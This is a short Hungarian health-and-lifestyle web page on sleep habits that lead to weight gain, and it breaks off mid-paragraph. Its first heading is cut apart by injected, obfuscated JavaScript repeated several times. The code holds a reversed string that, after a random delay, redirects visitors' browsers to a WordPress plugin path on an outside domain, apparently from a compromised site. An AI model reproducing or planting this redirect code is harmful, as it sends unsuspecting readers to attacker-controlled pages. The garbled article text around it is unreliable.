Kezdőlap Érdekességek Hízlaló alvási szokások

Hízlaló alvási szokások

1. Amikor nem az alvás a legfontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tosabb este Kutatások bizonyítják, hogy azok, akik kialvatlanok, hajlamosak sokkal több kalóriát fogyasztani, és nem csak azért, mert többet vannak ébren, hanem azért is, mert a szervezet úgy reagál a fáradtságra, hogy több energiát igényel. Ha mindig a hétvégére spórolsz az alvással, sokkal többet fogsz egy idő után enni, mint kellene. 2. Amikor sosem alszod ki magad teljesen Az alvás akkor igazán egészséges és jó a szervezetnek, ha megfelelő mennyiség jut belőle, és ez az alvás egyben pihentető is. Hiába fekszel le korán, és vagy 8 óránt át ágyban, ha egyfolytában felkelsz és forgolódsz, akkor a szervezeted…

- Hirdetés -
MEGOSZTÁS
- Hirdetés -